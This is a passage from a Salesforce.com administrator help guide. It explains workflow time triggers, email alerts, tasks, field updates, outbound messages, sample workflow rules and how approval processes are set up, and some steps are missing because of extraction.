workflow rule evaluation criteria is When a record is created, or when a record is edited and did
not previously meet the entry criteria, Salesforce.com reevaluates the time triggers and adds the appropriate
actions to the workflow queue.
• Deleting a record that has pending actions removes the pending actions from the workflow queue. You cannot restore the
actions, even if you undelete the record.
• If the evaluation criteria is Only when a record is created, the workflow rule evaluates its time triggers only once.
If the record that fired the rule changes to no longer meet the evaluation criteria, Salesforce.com removes the pending
actions from the queue and never reapplies the rule to the record.
• You can deactivate a workflow rule at any time. If the rule has pending actions in the workflow queue, editing the record
that triggered the rule removes the pending actions from the queue. If you don't edit the record, the pending actions are
processed even though the rule has been deactivated.
• Time-based workflow rules are not reevaluated if an Apex post trigger executed as a result of a workflow rule or approval
process updates a field so its value no longer meets the time-based workflow rule criteria.
• Configuring the Due Date to “Rule Trigger Date” sets time triggers and workflow task due dates relative to when the
workflow rule evaluation criteria are met. For example, if the task due date is “Rule Trigger Date plus 10 days” and the
evaluation criteria are met on January 1st, Salesforce.com sets the task due date to January 11th.
Limitations
• Time triggers do not support minutes or seconds.
• Time triggers cannot reference the following:
- DATE or DATETIME fields containing automatically derived functions, such as TODAY or NOW
- Formula fields that include related object merge fields
• Salesforce.com limits the number of time triggers an organization can execute per hour as follows:
- Enterprise Edition = 500
- Developer Edition = 50
- Unlimited Edition = 1,000
If an organization exceeds these limits, Salesforce.com defers the execution of the additional time triggers to the next hour.
For example, if an Unlimited Edition organization has 1,200 time triggers scheduled to execute between 4:00 PM and
5:00 PM, Salesforce.com processes 1,000 time triggers between 4:00 PM and 5:00 PM and the remaining 200 time triggers
between 5:00 PM and 6:00 PM.
• You can't archive a product or price book that has pending actions.
• You can't add or remove time triggers if:
- The workflow rule is active.
- The workflow rule is deactivated but has pending actions in the queue.
- The workflow rule trigger type is set to Every time a record is created or edited.
1409
Create Customizing Workflow and Approval Settings
See Also:
Managing Workflow Rules
Examples of Workflow Rules
Creating Workflow Rules
Managing Workflow Actions
4. Click Save.
When you enable email approval response, Salesforce.com uses the following default email template for approval processes
unless you specify a custom email template:
1410
Create Managing Email Alerts
If you select a custom email template when configuring an approval response, be sure it contains the above information so
users know how to correctly reply to the email approval request.
See Also:
Managing Workflow Rules
Creating Workflow Rules
Email Approval Response FAQ
Email alerts are emails generated by a workflow rule or approval process and sent to designated recipients whenever specific
business actions trigger the workflow rule or approval process. Email alerts contain the standard text and list of recipients for
an email. You must specify an email template for email alerts. To use a standard global From address for email alerts, like
support@company.com, set up an organization-wide address first.
To get started using email alerts, click Setup ➤ Create ➤ Workflow & Approvals ➤ Email Alerts.
1411
Create Managing Email Alerts
See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones
Managing Workflow and Approvals
Managing Workflow Rules
Differences Between Auto-Response Rules and Workflow Alerts
1. For workflow and approvals, click Setup ➤ Create ➤ Workflow & Approvals ➤ Email Alerts.
For milestones on entitlement processes, click Setup ➤ Customize ➤ Entitlement Management ➤ Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Email Alert.
3. Configure the email alert:
1412
Create Managing Email Alerts
Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is used
as the approval assignment template. If you use the template for any other email alert action—in either workflow
rules or approval processes—the merge fields will return a null value.
e. Check the Protected Component check box to mark the alert as protected.
f. Select who should receive this email alert. The options are:
• Account Owner—The user listed as the account owner of either the account itself or the account associated with
the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts, and any
custom object that is a child of the account object. Also, an account owner must be specified for the associated
account. If you select another type of object or the associated account does not have an account owner, Salesforce.com
sends the email alert to the record owner instead.
• Account Team—All users assigned to a particular account team role.
Note: The Account Team option is always available; however, emails are only sent when the rule is
associated with the account object or any of its immediate child objects.
Note: The Sales Team option is always available; however, it only works for email alerts configured for
opportunities. It does not work for email alerts configured for child objects of opportunities.
1413
Create Managing Tasks for Workflow and Approvals
The recipients that match your search results appear in the Available Recipients list.
g. Select the recipients who should receive this email alert in the Available Recipients list and click Add.
Note: If you change the object after selecting recipients, Salesforce.com clears the Selected Recipients list.
Note: If you select Make this the default From email address for this object's email alerts, it overrides the
From Email Address for all email alerts associated with that object. Upon saving, a dialog box prompts you
to confirm your selection. You can still customize individual email alerts to use a different From Email
Address.
j. Click Save.
Note: If your email recipient is a record owner and the owner of the record is a queue, the queue email receives
the email alert. If the queue is set up so that email is sent to all members, queue members are notified as well. If
no queue email is specified, only queue members are notified.
4. To set email alerts into action, associate them with a workflow rule, approval process, or entitlement process.
See Also:
Managing Workflow and Approvals
Entitlement Management Overview
Tasks determine the details of a task assigned by a workflow rule or approval process. Create tasks and then associate them
with the workflow rules or approval processes that will trigger them. When the business conditions for that workflow rule or
1414
Create Managing Tasks for Workflow and Approvals
approval process are met, it assigns tasks to designated users with the selected Subject, Status, Priority, and Due Date
of the workflow task.
To get started using tasks, click Setup ➤ Create ➤ Workflow & Approvals ➤ Tasks.
Note: Before you create a task for a custom object, make sure the custom object tracks activities.
See Also:
Creating Tasks for Workflow, Approvals, or Milestones
Managing Workflow and Approvals
Managing Workflow Rules
1. For workflow and approvals, click Setup ➤ Create ➤ Workflow & Approvals ➤ Tasks.
For milestones on entitlement processes, click Setup ➤ Customize ➤ Entitlement Management ➤ Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Task.
3. Select a type of record and click Next. Remember, tasks can only be associated with workflow rules or approval processes
for the same object type.
Note: When creating tasks for custom objects, only custom objects that track activities are available.
a. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role, or
account team role, depending on the type of record you chose.
1415
Create Managing Tasks for Workflow and Approvals
Note:
• If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the person who
triggered the rule is assigned the task.
• If the subject was translated, Salesforce.com creates the task in the assignee's language If you checked Notify
Assignee for the task, Salesforce.com sends the email in the assignee's language. However, if only the
comments field was translated, Salesforce.com creates the task and sends the email in the language of the
user who triggered the task.
• If a custom object has a master-detail relationship with a standard object, the owner of the custom object
record is automatically set to the owner of the master standard object record. For example, if a custom object
called “Expenses” has a master-detail relationship with Accounts, the owner of each expense record is the
owner of the account for the expense.
• If the assignee of a workflow task is a role and more than one user belongs to that role, the record owner
becomes the task assignee, regardless of his or her role. We recommend that you do not assign tasks to roles
with multiple users. Assigning tasks to roles with one user allows you to easily change the user in that role
without modifying the workflow rule.
• When a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead
that are assigned to that user, except email alerts, are reassigned to the lead owner. Workflow tasks assigned
to users other than the lead owner and lead converter are not changed.
e. Check Notify Assignee to send an email notification when the task is assigned.
f. Check the Protected Component check box to mark the task as protected. For more information, see the Force.com
Quick Reference for Developing Packages.
g. Enter any comments to add to the task.
h. Click Save.
5. To set tasks into action, associate them with a workflow rule, approval process, or entitlement process.
1416
Create Managing Field Updates
Note: You may notice that all your tasks include a Created By field. For tasks, this field contains the name of the
person who saved the record that triggered the rule to assign the task.
See Also:
Managing Workflow and Approvals
Entitlement Management Overview
Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval
processes, or entitlement processes.
Before you begin using field updates, review Field Update Considerations on page 1420. To get started using field updates, click
Setup ➤ Create ➤ Workflow & Approvals ➤ Field Updates.
See Also:
Defining Field Updates
Managing Workflow and Approvals
Managing Workflow Rules
1417
Create Managing Field Updates
Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval
processes, or entitlement processes. Before you begin, review Field Update Considerations on page 1420.
Note: For standard objects, workflow rules can only perform field updates on the object related to the rule. The
exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For
all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the
related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For
example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master
object) to “Closed” when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change
the status of a case from “Awaiting Customer Response“ to “In Progress” when a customer adds a case comment.
1. For workflow and approvals, click Setup ➤ Create ➤ Workflow & Approvals ➤ Field Updates.
For milestones on entitlement processes, click Setup ➤ Customize ➤ Entitlement Management ➤ Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Field Update.
3. Configure the field update.
1418
Create Managing Field Updates
• Workflow rules
• Validation rules
• Updates to roll-up summary fields
• Escalation rules
• Apex triggers
• Entitlement processes
• Assignment rules
• Auto-response rules
e. Check the Protected Component check box to mark the field update as protected. For more information, see the
Force.com Quick Reference for Developing Packages.
f. Specify the new field value. The available options depend on the type of field you are updating. You can:
• Choose A specific value, and enter the value in the space provided.
• Choose A blank value (null) if you want Salesforce.com to remove any existing value and leave the field
blank. This option is not available for required fields, checkboxes, and some other types of fields.
• For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object records,
you can also choose a queue for this field. Optionally, select Notify Assignee to send an email to the new record
owner.
• For checkboxes, choose True to select the checkbox and False to deselect it.
• For picklists, select a specific value from the drop-down list, or select the value above or below the current value
based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above or below
may be different for users in other languages.
• Choose Use a formula to set the new value to calculate the value based on an expression, merge fields,
or other values.
a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose the
field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert
Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.
b. To insert case merge fields so that email messages update the associated case fields, click Insert Field on the
Rule Criteria section and choose Email Message > Parent Case.
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use
the examples in Operators and Functions on page 931.
d. Optionally, insert a function from the Functions list. Functions are pre-built formulas that you can customize
with your input parameters. See Operators and Functions on page 931 for a description of each operator and
function.
1419
Create Managing Field Updates
g. Click Save.
See Also:
Managing Field Updates
Managing Workflow and Approvals
Entitlement Management Overview
When creating field updates for workflow rules or approval processes, consider the following:
1420
Create Managing Field Updates
• If your organization uses multiple currencies, currency fields are updated using the record's currency. If you choose to
update a field based on a formula, any values in your formula are interpreted in the currency of the record.
• Before changing the type of a custom field, make sure that it is not the target of a field update or referenced in a field
update formula that would be invalidated by the new type.
• Field updates are tracked in the History related list if you have set history tracking on those fields.
• Because updates to records based on workflow rules do not trigger validation rules, workflow rules can invalidate previously
valid fields.
1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules
1421
Create Managing Outbound Messages
Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.
See Also:
Defining Field Updates
Managing Field Updates
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
To get started using outbound messages, click Setup ➤ Create ➤ Workflow & Approvals ➤ Outbound Messages.
Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.
• A single SOAP message can include up to 100 notifications. Each notification contains an ID that uniquely identifies a
record, and a reference to the data in the record. Therefore, if the information in the record changes after the notification
is sent, but before the notification is delivered, only the updated information will be delivered.
• Messages are queued until they are sent, to preserve message reliability.
• If the endpoint is unavailable, messages will stay in the queue until sent successfully, or until they are 24 hours old. After
24 hours, messages are dropped from the queue.
• If a message cannot be delivered, the interval between retries increases exponentially, up to a maximum of two hours
between retries.
• Messages are retried independent of their order in the queue. This may result in messages being delivered out of order.
• You cannot build an audit trail using outbound messages. While each message should be delivered at least once, it may be
delivered more than once. Also, it may not be delivered at all if delivery cannot be done within 24 hours. Finally, as noted
1422
Create Managing Outbound Messages
above, the source object may change after a notification is sent but before it is delivered, so the endpoint will only receive
the latest data, not any intermediate changes.
• Encrypted custom fields are not available in outbound messages.
• You can create workflow rules and approval processes on junction objects; however, you cannot create outbound messages
on junction objects.
See Also:
Defining Outbound Messages
Tracking Outbound Message Delivery Status
Managing Workflow and Approvals
Managing Workflow Rules
Web Services API Developer's Guide
Metadata API Developer's Guide
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
When you associate an outbound message with a workflow rule, approval process, or entitlement process, the outbound message
sends the selected information to the associated endpoint URL whenever the workflow rule or approval process is triggered.
Once the endpoint URL receives the message, it can take the information from the message and process it, assuming that the
Web service has been configured appropriately.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:
Note: Outbound messages cannot be associated with workflow rules on custom junction objects.
1. For workflow and approvals, click Setup ➤ Create ➤ Workflow & Approvals ➤ Outbound Messages.
For milestones on entitlement processes, click Setup ➤ Customize ➤ Entitlement Management ➤ Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
1423
Create Managing Outbound Messages
• Note the automatically generated API Version field set to the current API version when the outbound message was
created. This API version is used in any API calls back to Salesforce.com using the enterprise or partner WSDLs. The
API Version can only be modified by using the Metadata API.
• Click the Click for WSDL link to view the WSDL associated with this message.
The WSDL is bound to the outbound message and contains the instructions about how to reach the endpoint service
and what data is sent to it.
6. If your endpoint uses a client certificate, right-click the Download Client Certificate link on the outbound message detail
page, and save the certificate to the appropriate location. Then you can import the downloaded certificate into your
application server, and configure your application server to request the client certificate.
7. To set outbound messages into action, associate them with a workflow rule, approval process, or entitlement process.
1424
Create Managing Outbound Messages
Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.
See Also:
Tracking Outbound Message Delivery Status
Managing Outbound Messages
Managing Workflow and Approvals
Entitlement Management Overview
Web Services API Developer's Guide
Workflow actions created for a workflow rule or approval process can be associated with other workflow rules and approval
processes.
To associate existing workflow actions with a workflow rule:
• Click Add Existing in the Initial Submission Actions, Final Approval Actions, Final Rejection Actions, or Recall
Actions section.
1425
Create Managing Outbound Messages
• Click Show Actions in the Approval Steps section, then click Add Existing in the Approval, Rejection, or Recall
Actions section.
See Also:
Managing Workflow Rules
Creating Workflow Rules
Managing Workflow Actions
Use the following workflow rule examples to learn how you can implement common business objectives.
Business Process
Follow Up when a Platinum Contract Case Closes
New Customer Credit Check
Platinum Account Owner Visibility on High Priority Cases
Cross-Object Processes
Cases Filed for Top Accounts
Setting Default Opportunity Name
Setting the Target Resolution Date for Cases
Updating Application Record When Candidate Accepts Job
1426
Create Managing Outbound Messages
Deal Management
Tracking Closed Opportunities
Default Opportunity Close Date
Reporting Lost Opportunities
Unassigned Lead Management
Notifications
Change of Account Owner
Contact Birthday Reminder
High Value Opportunity
Notify Account Owners of Updates by Others
See Also:
Managing Workflow and Approvals
Managing Workflow Actions
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates
Business Process
Description
Send a feedback request in email to the case contact seven days after a high priority case is closed if the customer has a
platinum contract agreement.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
1427
Create Managing Outbound Messages
Immediate Actions
None.
Time-Dependent Actions
Description
Assign the Accounts Receivable (AR) department a task to check the credit of a potential customer 15 days before the
opportunity close date if the amount is greater than $50,000.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
None.
Time-Dependent Actions
Description
Notify the account owner when a high priority case is created for accounts with a platinum service level agreement.
Evaluation Criteria
Only when a record is created.
1428
Create Managing Outbound Messages
Immediate Actions
Email Alert: Email the details of the high priority case to the account owner.
Time-Dependent Actions
None.
Cross-Object Processes
Description
Notify Sales VP about any cases filed for top accounts.
Evaluation Criteria
Only when a record is created.
Immediate Actions
Email Alert: Notify VP about cases for big accounts.
Time-Dependent Actions
None.
Description
Enforce opportunity naming convention.
1429
Create Managing Outbound Messages
Evaluation Criteria
Every time a record is created or edited
Immediate Actions
Field Update: Set opportunity name to the following formula:
Time-Dependent Actions
None.
Description
Sets the case target resolution date for accounts that have basic support level to 30 days from today.
Evaluation Criteria
Only when a record is created
ISPICKVAL(Account.Support_Level__c , "Basic")
Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 30
Time-Dependent Actions
None.
1430
Create Managing Outbound Messages
Description
Sets the case target resolution date for accounts that have standard support level to 14 days from today.
Evaluation Criteria
Only when a record is created
ISPICKVAL(Account.Support_Level__c , "Standard")
Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 14
Time-Dependent Actions
None.
Description
Sets the case target resolution date for accounts that have premium support level to 5 days from today.
Evaluation Criteria
Only when a record is created
ISPICKVAL(Account.Support_Level__c , "Premium")
Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 5
Time-Dependent Actions
None.
Description
Changes the Application Status to “Closed” for the custom Application object when the Candidate Status for the custom
Candidate object changes to “Accepted.”
1431
Create Managing Outbound Messages
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
Field Update: Change Application Status field to “Closed” on parent Application record.
Time-Dependent Actions
None.
Deal Management
Object
Opportunity
Description
Change the record type of closed-won opportunities.
Evaluation Criteria
Every time a record is created or edited.
Immediate Actions
Field Update: Set the record type to “Closed Opportunities.”
Time-Dependent Actions
None.
1432
Create Managing Outbound Messages
Description
Override the default close date from the close of the quarter to six months after the opportunity is created.
Evaluation Criteria
Only when a record is created.
Immediate Actions
Field Update: Use the following formula to set the opportunity close date to six months after the creation date:
Time-Dependent Actions
None.
Description
Notify the VP of Sales when a deal is lost if the stage was “Proposal/Price Quote” and the amount was greater than
$1,000,000.
Evaluation Criteria
Every time a record is created or edited.
Immediate Actions
Email Alert: Notify the VP of Sales role that the deal was lost.
Time-Dependent Actions
None.
1433
Create Managing Outbound Messages
Description
Ensure that unassigned leads are tracked in a timely manner by notifying the manager if a lead is not accepted in two
days.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
None.
Time-Dependent Actions
Description
Ensure that an email alert is sent if a sales rep applies a quote line item discount that exceeds 40%.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
Email Alert: Notify the manager role that the quote line item discount exceeds 40%.
Notifications
Description
Notify key people in the sales department when the owner of an account changes if the account's annual revenue is
greater than $1,000,000.
1434
Create Managing Outbound Messages
Evaluation Criteria
Every time a record is created or edited.
Immediate Actions
Email Alert: Notify the person in the sales operations role of the change in account ownership.
Time-Dependent Actions
None.
IF(MONTH(Birthdate)>MONTH(TODAY()),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
IF(MONTH(Birthdate)<MONTH(TODAY()),DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)),
IF(DAY(Birthdate) >= (DAY(TODAY())),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)))))
Object
Contact
Description
Send an email to the contact two days before the contact's birthday.
Evaluation Criteria
Only when a record is created.
Immediate Actions
None.
Time-Dependent Actions
1435
Create Managing Outbound Messages
Description
Remind the opportunity owner and senior management when the close date is approaching for a large deal, an opportunity
that has an amount greater than $10,000. Also, create a follow-up task for the opportunity owner if the deal is still open
when the close date passes.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
None.
Time-Dependent Actions
Description
Notify the account owner when someone else updates the account if the account's annual revenue is greater than
$1,000,000.
Evaluation Criteria
Every time a record is created or edited.
Immediate Actions
Email Alert: Notify the account owner that someone else has updated the account.
1436
Create Outbound Message Notifications
Time-Dependent Actions
None.
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
Salesforce.com creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24
hours. This notification is sent to any user that you specify by creating a notification request—one request per user. You can
create up to five notification requests.
Failed messages are deleted from the failed outbound messages related list after seven days. Before they are removed, you can
delete them yourself or request that they be retried again.
To view the current outbound message notification requests, click Setup ➤ Monitoring ➤ Outbound Message Notifications.
You can perform several tasks here:
Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.
1437
Create Outbound Message Notifications
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
Salesforce.com creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24
hours. This notification is sent to any user that you specify by creating a notification request—one request per user. You can
create up to five notification requests.
To create a notification request, click Setup ➤ Monitoring ➤ Outbound Message Notifications, and click New to display
the edit page.
1. Enter a full username, or click the icon to select it from a list of usernames.
2. Click Save to save the request, or Save & New to save this request and start a new notification request.
Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
Salesforce.com creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24
hours. This notification is sent to any user that you specify by creating a notification request—one request per user. You can
create up to five notification requests.
This page is displayed when you have saved a new notification request. You can perform several tasks:
• Click Edit to change the username for a notification request, which is simpler than deleting the request and then creating
a new one.
1438
Create Approval Processes Overview
Your business runs more efficiently with automated processes. For example, you may already have workflow rules that
automatically send email alerts or assign tasks based on your internal processes. Approvals take automation one step further,
allowing you to specify a sequence of steps that are required to approve a record.
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
For example, your organization may have a two-step process for approving expenses: submitted expenses that are less than
$50 are automatically approved, those over $50 must be approved by a manager, and those over $5,000 must also be approved
by a Vice President. In this example, your approval process would specify the following:
• If an expense record is submitted for approval, lock the record so that users cannot edit it and change the status to
“Submitted.”
• If the amount is $50 or less, automatically approve the request.
• If the amount is greater than $50, send an approval request to the direct manager.
• If the amount is greater than $5,000 and the first approval request is approved, send an approval request to the Vice
President.
• If all approval requests are approved, change the status to “Approved” and unlock the record.
• If any approval requests are rejected, change the status to “Rejected” and unlock the record.
1439
Create Approval Processes Overview
To begin designing your approval processes, see Getting Started with Approval Processes on page 1444.
See Also:
Creating Approval Processes
Approval Process Terminology
Examples of Approval Processes
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
Before you begin creating an approval process:
• Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use.
• Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve
or reject email approval requests by replying to the email. See Customizing Workflow and Approval Settings on page 1410.
• Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit
approval requests and track a record's progress through an approval process from the record detail page. See Customizing
Page Layouts on page 1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of
the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home
Tab Page Layouts on page 1042.
• Populate all custom hierarchy fields with the appropriate values.
1440
Create Approval Processes Overview
8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria,
and actions that comprise your approval process.
Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities
Reports folder. See Administrative Reports on page 2130 and Activity Reports on page 2095.
See Also:
Approval Process Terminology
Approval Process Considerations
Managing Approval Processes
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
Examples of Approval Processes
Using the Process Visualizer
Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the
new value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.
Approval steps, initial submission, final approvals, final rejections, and recalls can execute approval actions. Both approval
process and workflow rules share actions..
1441
Create Approval Processes Overview
Approval Process
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply
to all records included in the process, or just records that have certain attributes. An approval process also specifies the
actions to take when a record is approved, rejected, recalled, or first submitted for approval. For more information, see
Approval Processes Overview on page 1439.
Approval Request
An approval request is an email notifying the recipient that a record was submitted for approval and his or her approval
is requested.
Approval Steps
Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval
step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process
also allow you to specify what happens if an approver rejects the request.
Assigned Approver
The assigned approver is the user responsible for approving an approval request.
Delegated Approver
A delegated approver is a user appointed by an assigned approver as an alternate for approval requests. Delegated approvers
can't reassign approval requests; they can only approve or reject approval requests.
• approve
• approved
• yes
• reject
• rejected
• no
Periods and exclamation marks are also accepted at the end of the word. You can also optionally add comments in the
second line of the email body. Users can still click a link in the email to access the approval page as well. This feature is
especially useful for organizations with users who receive approval requests on mobile devices.
To enable email approval response, see Customizing Workflow and Approval Settings on page 1410.
Note: Before enabling email approval response, note that you cannot use this feature with approval processes
in which the assigned approver is a queue, or in a multi-step approval process in which the next approver is
manually chosen after the first step. Also, users that use Microsoft Word as their email editor must add the
comments to the end of the first line of the reply email instead of the second.
1442
Create Approval Processes Overview
Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint
you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a
SOAP message to the endpoint.
Recall Actions
Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock
the record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages.
For example, a recall action can change the status of a request from “In Progress” to “Not Submitted.”
Record Locking
Record locking is the process of preventing users from editing a record, regardless of field-level security or sharing
settings. Salesforce.com automatically locks records that are pending approval. Users must have the “Modify All”
object-level permission for the given object, or the “Modify All Data” permission, to edit locked records. The Initial
Submission Actions, Final Approval Actions, Final Rejection Actions, and Recall Actions related lists contain Record
Lock actions by default. You cannot edit this default action for initial submission and recall actions. You can still add
campaign members to campaigns locked for approval.
See Also:
Approval Processes Overview
Getting Started with Approval Processes
Approval Process Checklist
1443
Create Getting Started with Approval Processes
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
Before you begin creating an approval process:
• Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use.
• Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve
or reject email approval requests by replying to the email. See Customizing Workflow and Approval Settings on page 1410.
• Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit
approval requests and track a record's progress through an approval process from the record detail page. See Customizing
Page Layouts on page 1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of
the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home
Tab Page Layouts on page 1042.
• Populate all custom hierarchy fields with the appropriate values.
8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria,
and actions that comprise your approval process.
1444
Create Getting Started with Approval Processes
Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities
Reports folder. See Administrative Reports on page 2130 and Activity Reports on page 2095.
See Also:
Approval Process Terminology
Approval Process Considerations
Managing Approval Processes
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
Examples of Approval Processes
Using the Process Visualizer
Plan each approval process carefully to ensure a successful implementation. Review the following checklist about preparing
the appropriate information before creating your approval process.
1445
Create Getting Started with Approval Processes
Each step in your approval process can assign approval requests using any of these options.
1446
Create Getting Started with Approval Processes
Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the
new value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.
Additionally, you can set up to 40 additional actions to take place when a record has received all necessary approvals or
is completely rejected.
See Also:
Getting Started with Approval Processes
Approval Processes Overview
Examples of Approval Processes
Use these samples of common approval processes to help you get started creating your own:
• PTO Requests
• Expense Reports
• Discounting Opportunities
• Job Candidates
1447
Create Getting Started with Approval Processes
PTO Requests
Most companies require employees to file a PTO (Paid Time Off ) request and have their manager approve it. Here's how to
automate a simple one-step PTO request process using Salesforce.com.
• If you do not yet have a custom object to track your PTO requests, create a custom object and tab called PTO Requests.
See Defining Custom Objects on page 1369 and Defining Custom Tabs on page 1394. Add the appropriate fields for your
PTO Requests such as Start Date, End Date, and Employee Name.
• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 423.
• Use the jump start wizard to create an approval process and specify the following:
- Select the PTO Request custom object.
- Select the email template you created for this approval process.
- No need to specify a filter criteria if you want each user to submit PTO requests and have them included regardless of
their attributes.
- In the Automatically assign an approver using a standard or custom hierarchy field option,
choose the Manager field.
- The jump start wizard automatically chooses the record owner as the only person who can submit PTO requests.
Tip: If you want the submitter to be able to withdraw a submitted PTO request:
1. Click Edit and choose Initial Submitters from the drop-down menu.
2. Select the Allow submitters to recall approval requests option.
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters
